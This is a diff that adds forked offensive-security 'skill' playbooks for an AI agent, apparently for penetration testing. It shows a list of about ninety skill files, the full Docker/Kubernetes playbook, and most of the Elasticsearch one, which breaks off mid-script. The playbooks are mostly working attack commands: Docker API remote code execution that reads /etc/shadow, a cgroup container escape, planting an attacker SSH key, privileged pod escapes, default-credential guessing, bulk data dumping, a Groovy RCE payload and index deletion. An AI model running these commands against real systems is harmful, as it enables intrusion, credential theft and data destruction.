- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,266 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: docker-container
|
|
5
|
+
description: Security testing playbook for Docker and container environments covering container escape, privileged containers, exposed Docker API, misconfigurations, and Kubernetes enumeration
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Docker / Container Security Testing
|
|
9
|
+
|
|
10
|
+
Containers are frequently misconfigured in production. Attack surface: exposed Docker daemon API (direct RCE), privileged container escape, mounted host paths, weak seccomp/AppArmor, and Kubernetes RBAC misconfigurations.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Discovery
|
|
17
|
+
|
|
18
|
+
# Port scanning for Docker/container services
|
|
19
|
+
nmap -p 2375,2376,4243,8080,8443,10250,10255,6443,2379 <target> -sV --open
|
|
20
|
+
|
|
21
|
+
# Ports:
|
|
22
|
+
# 2375 — Docker daemon (HTTP, no TLS — CRITICAL if exposed)
|
|
23
|
+
# 2376 — Docker daemon (HTTPS with TLS)
|
|
24
|
+
# 4243 — Alternate Docker daemon
|
|
25
|
+
# 10250 — Kubernetes kubelet API
|
|
26
|
+
# 10255 — Kubernetes kubelet read-only
|
|
27
|
+
# 6443 — Kubernetes API server
|
|
28
|
+
# 2379 — etcd (Kubernetes state store)
|
|
29
|
+
|
|
30
|
+
---
|
|
31
|
+
|
|
32
|
+
## Exposed Docker API (Remote Code Execution)
|
|
33
|
+
|
|
34
|
+
Docker API on port 2375 with no TLS = instant RCE:
|
|
35
|
+
|
|
36
|
+
# Test connection
|
|
37
|
+
curl http://<target>:2375/version
|
|
38
|
+
curl http://<target>:2375/info
|
|
39
|
+
|
|
40
|
+
# List containers
|
|
41
|
+
curl http://<target>:2375/containers/json
|
|
42
|
+
curl http://<target>:2375/containers/json?all=true
|
|
43
|
+
|
|
44
|
+
# List images
|
|
45
|
+
curl http://<target>:2375/images/json
|
|
46
|
+
|
|
47
|
+
# RCE: Create and run a privileged container mounting host filesystem
|
|
48
|
+
curl -X POST http://<target>:2375/containers/create \
|
|
49
|
+
-H "Content-Type: application/json" \
|
|
50
|
+
-d '{
|
|
51
|
+
"Image": "alpine",
|
|
52
|
+
"Cmd": ["chroot", "/host", "bash", "-c", "id && cat /etc/shadow"],
|
|
53
|
+
"HostConfig": {
|
|
54
|
+
"Binds": ["/:/host"],
|
|
55
|
+
"Privileged": true
|
|
56
|
+
}
|
|
57
|
+
}' | python3 -m json.tool
|
|
58
|
+
|
|
59
|
+
# Start the container (replace <id> with returned container ID):
|
|
60
|
+
curl -X POST http://<target>:2375/containers/<id>/start
|
|
61
|
+
|
|
62
|
+
# Get output (attach to container logs):
|
|
63
|
+
curl http://<target>:2375/containers/<id>/logs?stdout=true
|
|
64
|
+
|
|
65
|
+
# Using Docker CLI directly:
|
|
66
|
+
docker -H tcp://<target>:2375 run -it --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh
|
|
67
|
+
|
|
68
|
+
---
|
|
69
|
+
|
|
70
|
+
## Container Escape Techniques
|
|
71
|
+
|
|
72
|
+
### Privileged Container Escape
|
|
73
|
+
|
|
74
|
+
# Check if running in privileged container:
|
|
75
|
+
cat /proc/1/status | grep CapEff
|
|
76
|
+
# CapEff: 0000003fffffffff = full capabilities = privileged
|
|
77
|
+
|
|
78
|
+
# Mount host filesystem via cgroup:
|
|
79
|
+
mkdir /tmp/cgroup && mount -t cgroup -o memory none /tmp/cgroup
|
|
80
|
+
mkdir /tmp/cgroup/x
|
|
81
|
+
echo 1 > /tmp/cgroup/x/notify_on_release
|
|
82
|
+
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
|
83
|
+
echo "$host_path/cmd" > /tmp/cgroup/release_agent
|
|
84
|
+
echo "#!/bin/sh" > /cmd
|
|
85
|
+
echo "id > $host_path/output" >> /cmd
|
|
86
|
+
chmod a+x /cmd
|
|
87
|
+
sh -c "echo \$\$ > /tmp/cgroup/x/cgroup.procs"
|
|
88
|
+
cat /output
|
|
89
|
+
|
|
90
|
+
# Mount host device (privileged):
|
|
91
|
+
fdisk -l # Find host disk (usually /dev/sda1 or /dev/xvda1)
|
|
92
|
+
mkdir /host
|
|
93
|
+
mount /dev/sda1 /host
|
|
94
|
+
cat /host/etc/shadow # Host password hashes
|
|
95
|
+
|
|
96
|
+
# Add SSH key to host root:
|
|
97
|
+
echo "ssh-rsa AAAA... attacker" >> /host/root/.ssh/authorized_keys
|
|
98
|
+
|
|
99
|
+
### Escape via Mounted Docker Socket
|
|
100
|
+
|
|
101
|
+
# Check if Docker socket is mounted in container:
|
|
102
|
+
ls -la /var/run/docker.sock
|
|
103
|
+
# If exists = full Docker control = host escape
|
|
104
|
+
|
|
105
|
+
# Use socket to spawn host-privileged container:
|
|
106
|
+
docker -H unix:///var/run/docker.sock run -it --privileged \
|
|
107
|
+
--pid=host --ipc=host --net=host \
|
|
108
|
+
-v /:/host alpine chroot /host
|
|
109
|
+
|
|
110
|
+
# Or install docker client first:
|
|
111
|
+
apt-get install -y docker.io || apk add docker
|
|
112
|
+
docker -H unix:///var/run/docker.sock ps
|
|
113
|
+
|
|
114
|
+
### Escape via Kernel Vulnerabilities
|
|
115
|
+
|
|
116
|
+
# Check kernel version for known exploits:
|
|
117
|
+
uname -r
|
|
118
|
+
# Notable container escape CVEs:
|
|
119
|
+
# CVE-2022-0847 (DirtyPipe) — Kernel 5.8-5.16.11
|
|
120
|
+
# CVE-2019-5736 (runc) — Overwrite runc binary
|
|
121
|
+
# CVE-2019-14271 (Docker) — Shared library injection
|
|
122
|
+
|
|
123
|
+
# runc escape (CVE-2019-5736):
|
|
124
|
+
# Overwrite /proc/self/exe during exec → overwrites host runc binary
|
|
125
|
+
# Tools: https://github.com/Frichetten/CVE-2019-5736-PoC
|
|
126
|
+
|
|
127
|
+
---
|
|
128
|
+
|
|
129
|
+
## Container Enumeration (From Inside)
|
|
130
|
+
|
|
131
|
+
# Detect if inside a container
|
|
132
|
+
cat /proc/1/cgroup | grep -i docker
|
|
133
|
+
cat /.dockerenv # File exists = Docker container
|
|
134
|
+
ls -la /run/.containerenv # Podman indicator
|
|
135
|
+
|
|
136
|
+
# Environment variables (may contain secrets)
|
|
137
|
+
env | grep -iE "key|token|secret|password|pass|api|db|url"
|
|
138
|
+
cat /proc/1/environ | tr '\0' '\n' | grep -iE "key|token|secret|password"
|
|
139
|
+
|
|
140
|
+
# Mounted secrets
|
|
141
|
+
find / -name "*.key" -o -name "*.pem" -o -name "secrets" 2>/dev/null
|
|
142
|
+
cat /run/secrets/* # Docker Swarm secrets
|
|
143
|
+
ls /var/run/secrets/kubernetes.io/serviceaccount/ # Kubernetes SA token
|
|
144
|
+
|
|
145
|
+
# Network neighbors (other containers)
|
|
146
|
+
ip route # Subnet reveals container network
|
|
147
|
+
cat /etc/hosts # Other containers
|
|
148
|
+
nmap -sn <container_subnet>/24 # Scan container network
|
|
149
|
+
|
|
150
|
+
---
|
|
151
|
+
|
|
152
|
+
## Kubernetes Attacks (From Within a Pod)
|
|
153
|
+
|
|
154
|
+
### Service Account Token Exploitation
|
|
155
|
+
|
|
156
|
+
# Default SA token mounted at:
|
|
157
|
+
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
|
158
|
+
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
|
|
159
|
+
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
|
160
|
+
|
|
161
|
+
# Query K8s API:
|
|
162
|
+
curl -s https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods \
|
|
163
|
+
-H "Authorization: Bearer $TOKEN" --cacert $CACERT
|
|
164
|
+
|
|
165
|
+
# Check permissions:
|
|
166
|
+
curl -s https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
|
|
167
|
+
-H "Authorization: Bearer $TOKEN" --cacert $CACERT \
|
|
168
|
+
-H "Content-Type: application/json" -d '
|
|
169
|
+
{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview",
|
|
170
|
+
"spec":{"resourceAttributes":{"verb":"list","resource":"pods"}}}'
|
|
171
|
+
|
|
172
|
+
# Using kubectl:
|
|
173
|
+
kubectl --token=$TOKEN --certificate-authority=$CACERT \
|
|
174
|
+
-s https://kubernetes.default.svc auth can-i --list
|
|
175
|
+
|
|
176
|
+
### Kubernetes Privilege Escalation
|
|
177
|
+
|
|
178
|
+
# Create privileged pod to escape to host:
|
|
179
|
+
kubectl --token=$TOKEN apply -f - <<EOF
|
|
180
|
+
apiVersion: v1
|
|
181
|
+
kind: Pod
|
|
182
|
+
metadata:
|
|
183
|
+
name: escape
|
|
184
|
+
spec:
|
|
185
|
+
hostPID: true
|
|
186
|
+
hostNetwork: true
|
|
187
|
+
containers:
|
|
188
|
+
- name: escape
|
|
189
|
+
image: alpine
|
|
190
|
+
command: ["nsenter", "--mount=/proc/1/ns/mnt", "--", "sh"]
|
|
191
|
+
securityContext:
|
|
192
|
+
privileged: true
|
|
193
|
+
EOF
|
|
194
|
+
|
|
195
|
+
# Access pod:
|
|
196
|
+
kubectl --token=$TOKEN exec -it escape -- sh
|
|
197
|
+
|
|
198
|
+
---
|
|
199
|
+
|
|
200
|
+
## Kubernetes External API Attacks
|
|
201
|
+
|
|
202
|
+
# Anonymous access to Kubernetes API:
|
|
203
|
+
curl -sk https://<k8s-api>:6443/api/v1/namespaces/default/pods
|
|
204
|
+
curl -sk https://<k8s-api>:6443/version
|
|
205
|
+
|
|
206
|
+
# Kubelet read-only API (port 10255):
|
|
207
|
+
curl http://<node>:10255/pods # Lists all pods (no auth!)
|
|
208
|
+
curl http://<node>:10255/stats/summary
|
|
209
|
+
|
|
210
|
+
# Kubelet API (port 10250):
|
|
211
|
+
curl -sk https://<node>:10250/pods
|
|
212
|
+
# Run command on pod (if anonymous allowed):
|
|
213
|
+
curl -sk https://<node>:10250/run/<namespace>/<pod>/<container> \
|
|
214
|
+
-d "cmd=id"
|
|
215
|
+
|
|
216
|
+
# etcd access (port 2379):
|
|
217
|
+
etcdctl --endpoints=http://<target>:2379 get / --prefix --keys-only
|
|
218
|
+
etcdctl --endpoints=http://<target>:2379 get /registry/secrets --prefix
|
|
219
|
+
# Contains Kubernetes secrets in base64!
|
|
220
|
+
|
|
221
|
+
---
|
|
222
|
+
|
|
223
|
+
## Docker Compose / Config File Exposure
|
|
224
|
+
|
|
225
|
+
# Look for exposed Docker configuration:
|
|
226
|
+
GET /docker-compose.yml
|
|
227
|
+
GET /docker-compose.yaml
|
|
228
|
+
GET /.docker/config.json # Registry credentials!
|
|
229
|
+
GET /Dockerfile
|
|
230
|
+
|
|
231
|
+
# Registry credentials in config.json:
|
|
232
|
+
cat ~/.docker/config.json
|
|
233
|
+
# Contains base64-encoded registry auth credentials
|
|
234
|
+
|
|
235
|
+
---
|
|
236
|
+
|
|
237
|
+
## Container Image Analysis
|
|
238
|
+
|
|
239
|
+
# Pull and analyze image locally:
|
|
240
|
+
docker pull <image>:<tag>
|
|
241
|
+
docker history <image>:<tag> # Layer commands (may reveal secrets added then deleted)
|
|
242
|
+
docker inspect <image>:<tag> # Env vars, exposed ports, volumes
|
|
243
|
+
|
|
244
|
+
# Extract image filesystem:
|
|
245
|
+
docker save <image> | tar -xf - -C /tmp/image_layers/
|
|
246
|
+
find /tmp/image_layers/ -name "*.tar" -exec tar -tf {} \; | grep -iE "password|secret|key"
|
|
247
|
+
|
|
248
|
+
# Tools for image scanning:
|
|
249
|
+
trivy image <image>:<tag> # CVE + secret scanning
|
|
250
|
+
trufflehog docker --image <image> # Secret scanning in image history
|
|
251
|
+
|
|
252
|
+
---
|
|
253
|
+
|
|
254
|
+
## Pro Tips
|
|
255
|
+
|
|
256
|
+
1. Docker daemon on port 2375 (no TLS) = instant host takeover — always check first
|
|
257
|
+
2. Mounted Docker socket (`/var/run/docker.sock`) inside a container = full host escape
|
|
258
|
+
3. `cat /proc/1/environ` reveals environment variables including secrets
|
|
259
|
+
4. Kubernetes pod default SA token + `list pods` permission → cluster-wide enumeration
|
|
260
|
+
5. Kubelet read-only API (port 10255) often accessible without auth — lists all pods
|
|
261
|
+
6. etcd on port 2379 without TLS = all Kubernetes secrets in plaintext
|
|
262
|
+
7. `docker history` reveals sensitive data in layers even if files were deleted in later layers
|
|
263
|
+
|
|
264
|
+
## Summary
|
|
265
|
+
|
|
266
|
+
Container testing = Docker API on 2375 (no TLS) → instant RCE + privileged container escape via `/dev/sda` mount + Docker socket mount → host escape. Inside K8s pods: service account token → API enumeration → privileged pod creation → host escape. etcd exposure is often overlooked but contains all cluster secrets in base64. Always scan the container subnet for other accessible services after initial access.
|
|
@@ -0,0 +1,226 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: elasticsearch
|
|
5
|
+
description: Security testing playbook for Elasticsearch covering unauthenticated access, data extraction, index enumeration, and Kibana security misconfigurations
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Elasticsearch Security Testing
|
|
9
|
+
|
|
10
|
+
Elasticsearch is notorious for misconfigured public access — billions of records have been exposed via open Elasticsearch instances. Attack surface: no authentication by default (old versions), full data extraction, Kibana admin access, and Groovy/Painless script injection.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Discovery
|
|
17
|
+
|
|
18
|
+
# Port scanning
|
|
19
|
+
nmap -p 9200,9300,5601 <target> -sV --open
|
|
20
|
+
|
|
21
|
+
# Ports:
|
|
22
|
+
# 9200 — Elasticsearch REST API (HTTP)
|
|
23
|
+
# 9300 — Elasticsearch transport/cluster
|
|
24
|
+
# 5601 — Kibana web interface
|
|
25
|
+
|
|
26
|
+
# Shodan dorking:
|
|
27
|
+
port:9200 elasticsearch
|
|
28
|
+
product:"Elastic" port:9200
|
|
29
|
+
|
|
30
|
+
---
|
|
31
|
+
|
|
32
|
+
## Unauthenticated Access Check
|
|
33
|
+
|
|
34
|
+
# Basic cluster info — if this works, no auth required
|
|
35
|
+
curl -s http://<target>:9200/
|
|
36
|
+
# Returns: cluster name, version, cluster UUID
|
|
37
|
+
|
|
38
|
+
# Health check
|
|
39
|
+
curl -s http://<target>:9200/_cluster/health?pretty
|
|
40
|
+
|
|
41
|
+
# If auth required (Elasticsearch 8.x default):
|
|
42
|
+
curl -u elastic:changeme http://<target>:9200/
|
|
43
|
+
curl -u elastic:elastic http://<target>:9200/
|
|
44
|
+
curl -u admin:admin http://<target>:9200/
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## Index Enumeration
|
|
49
|
+
|
|
50
|
+
# List all indices
|
|
51
|
+
curl -s http://<target>:9200/_cat/indices?v
|
|
52
|
+
curl -s http://<target>:9200/_cat/indices?h=index,docs.count,store.size
|
|
53
|
+
|
|
54
|
+
# List indices matching pattern
|
|
55
|
+
curl -s "http://<target>:9200/_cat/indices/user*?v"
|
|
56
|
+
curl -s "http://<target>:9200/_cat/indices/log*?v"
|
|
57
|
+
|
|
58
|
+
# High-value index names to look for:
|
|
59
|
+
# users, accounts, customers, employees, orders, payments, credentials
|
|
60
|
+
# logs, audit, access_log, firewall, siem
|
|
61
|
+
# emails, messages, documents, files
|
|
62
|
+
|
|
63
|
+
# Count documents in an index
|
|
64
|
+
curl -s "http://<target>:9200/<index>/_count"
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
## Data Extraction
|
|
69
|
+
|
|
70
|
+
# Get index mapping (field names and types — reveals schema)
|
|
71
|
+
curl -s "http://<target>:9200/<index>/_mapping?pretty"
|
|
72
|
+
|
|
73
|
+
# Get first 10 documents
|
|
74
|
+
curl -s "http://<target>:9200/<index>/_search?pretty&size=10"
|
|
75
|
+
|
|
76
|
+
# Get all documents (scroll for large indices):
|
|
77
|
+
curl -s "http://<target>:9200/<index>/_search?size=10000&pretty"
|
|
78
|
+
|
|
79
|
+
# Search for sensitive keywords across all indices:
|
|
80
|
+
curl -s 'http://<target>:9200/_all/_search?q=password&pretty'
|
|
81
|
+
curl -s 'http://<target>:9200/_all/_search?q=secret&pretty'
|
|
82
|
+
curl -s 'http://<target>:9200/_all/_search?q=apikey&pretty'
|
|
83
|
+
|
|
84
|
+
# Get a specific document by ID:
|
|
85
|
+
curl -s "http://<target>:9200/<index>/_doc/<id>?pretty"
|
|
86
|
+
|
|
87
|
+
# Get specific fields only:
|
|
88
|
+
curl -s "http://<target>:9200/<index>/_search?pretty" -d '
|
|
89
|
+
{
|
|
90
|
+
"_source": ["username", "email", "password"],
|
|
91
|
+
"query": {"match_all": {}}
|
|
92
|
+
}'
|
|
93
|
+
|
|
94
|
+
---
|
|
95
|
+
|
|
96
|
+
## Cluster Information Disclosure
|
|
97
|
+
|
|
98
|
+
# Cluster settings (may reveal auth/TLS config)
|
|
99
|
+
curl -s "http://<target>:9200/_cluster/settings?pretty&include_defaults=true"
|
|
100
|
+
|
|
101
|
+
# Node info (OS, JVM, network details)
|
|
102
|
+
curl -s "http://<target>:9200/_nodes?pretty"
|
|
103
|
+
curl -s "http://<target>:9200/_nodes/stats?pretty"
|
|
104
|
+
|
|
105
|
+
# Shard allocation
|
|
106
|
+
curl -s "http://<target>:9200/_cat/shards?v"
|
|
107
|
+
|
|
108
|
+
# Pending tasks
|
|
109
|
+
curl -s "http://<target>:9200/_cluster/pending_tasks?pretty"
|
|
110
|
+
|
|
111
|
+
# Ingest pipelines (may contain credentials/endpoints)
|
|
112
|
+
curl -s "http://<target>:9200/_ingest/pipeline?pretty"
|
|
113
|
+
|
|
114
|
+
# Snapshots (backups — may be restorable)
|
|
115
|
+
curl -s "http://<target>:9200/_snapshot?pretty"
|
|
116
|
+
curl -s "http://<target>:9200/_snapshot/<repo>/_all?pretty"
|
|
117
|
+
|
|
118
|
+
---
|
|
119
|
+
|
|
120
|
+
## Kibana Exposure
|
|
121
|
+
|
|
122
|
+
# Kibana web interface
|
|
123
|
+
GET http://<target>:5601/
|
|
124
|
+
|
|
125
|
+
# Kibana default credentials:
|
|
126
|
+
elastic:changeme (ES 5.x/6.x)
|
|
127
|
+
elastic:elastic
|
|
128
|
+
kibana:kibana
|
|
129
|
+
|
|
130
|
+
# Kibana API (useful when Kibana is accessible):
|
|
131
|
+
GET http://<target>:5601/api/status # Kibana version + status
|
|
132
|
+
GET http://<target>:5601/api/saved_objects/_find?type=dashboard&per_page=100
|
|
133
|
+
GET http://<target>:5601/api/saved_objects/_find?type=index-pattern
|
|
134
|
+
|
|
135
|
+
# Kibana console (execute Elasticsearch queries directly):
|
|
136
|
+
POST http://<target>:5601/api/console/proxy?path=/_cat/indices&method=GET
|
|
137
|
+
|
|
138
|
+
---
|
|
139
|
+
|
|
140
|
+
## Script Injection (Painless / Groovy)
|
|
141
|
+
|
|
142
|
+
Elasticsearch allows scripted queries — if user input reaches script context:
|
|
143
|
+
|
|
144
|
+
# Painless script injection (Elasticsearch 5+):
|
|
145
|
+
{
|
|
146
|
+
"script": {
|
|
147
|
+
"lang": "painless",
|
|
148
|
+
"source": "Math.max(params.a, params.b)",
|
|
149
|
+
"params": {"a": 1, "b": 2}
|
|
150
|
+
}
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
# RCE attempts (sandboxed in modern ES, but test older versions):
|
|
154
|
+
# Groovy (Elasticsearch 1.x/2.x — NOT sandboxed):
|
|
155
|
+
curl -X POST "http://<target>:9200/_search" -d '
|
|
156
|
+
{
|
|
157
|
+
"size": 1,
|
|
158
|
+
"query": {
|
|
159
|
+
"filtered": {
|
|
160
|
+
"query": {
|
|
161
|
+
"match_all": {}
|
|
162
|
+
}
|
|
163
|
+
}
|
|
164
|
+
},
|
|
165
|
+
"script_fields": {
|
|
166
|
+
"my_field": {
|
|
167
|
+
"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"exec\",\"a string\".getClass()).invoke(java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"id\")"
|
|
168
|
+
}
|
|
169
|
+
}
|
|
170
|
+
}'
|
|
171
|
+
|
|
172
|
+
# CVE-2014-3120 / CVE-2015-1427: Groovy sandbox escape → RCE
|
|
173
|
+
nuclei -t cves/2014/CVE-2014-3120.yaml -u http://<target>:9200/
|
|
174
|
+
|
|
175
|
+
---
|
|
176
|
+
|
|
177
|
+
## Data Destruction / Modification
|
|
178
|
+
|
|
179
|
+
# Delete an index (if write access)
|
|
180
|
+
curl -X DELETE "http://<target>:9200/<index>"
|
|
181
|
+
|
|
182
|
+
# Delete all data
|
|
183
|
+
curl -X DELETE "http://<target>:9200/*" # DESTRUCTIVE — confirm scope
|
|
184
|
+
|
|
185
|
+
# Create/modify document (unauthorized write access):
|
|
186
|
+
curl -X PUT "http://<target>:9200/<index>/_doc/1" -H 'Content-Type: application/json' -d '
|
|
187
|
+
{"modified": "by attacker"}'
|
|
188
|
+
|
|
189
|
+
---
|
|
190
|
+
|
|
191
|
+
## Automated Scanning
|
|
192
|
+
|
|
193
|
+
# esearch / elasticsearch-dump for bulk extraction
|
|
194
|
+
elasticdump --input=http://<target>:9200/<index> --output=output/es_data.json --type=data
|
|
195
|
+
|
|
196
|
+
# nuclei templates for ES:
|
|
197
|
+
nuclei -t exposures/apis/elasticsearch.yaml -u http://<target>:9200/
|
|
198
|
+
nuclei -t cves/ -tags elasticsearch -u http://<target>:9200/
|
|
199
|
+
|
|
200
|
+
# Automated ES scanner:
|
|
201
|
+
python3 -c "
|
|
202
|
+
import requests, json
|
|
203
|
+
base = 'http://<target>:9200'
|
|
204
|
+
indices = requests.get(f'{base}/_cat/indices?format=json').json()
|
|
205
|
+
for idx in indices:
|
|
206
|
+
name = idx['index']
|
|
207
|
+
count = idx.get('docs.count', 0)
|
|
208
|
+
size = idx.get('store.size', '0')
|
|
209
|
+
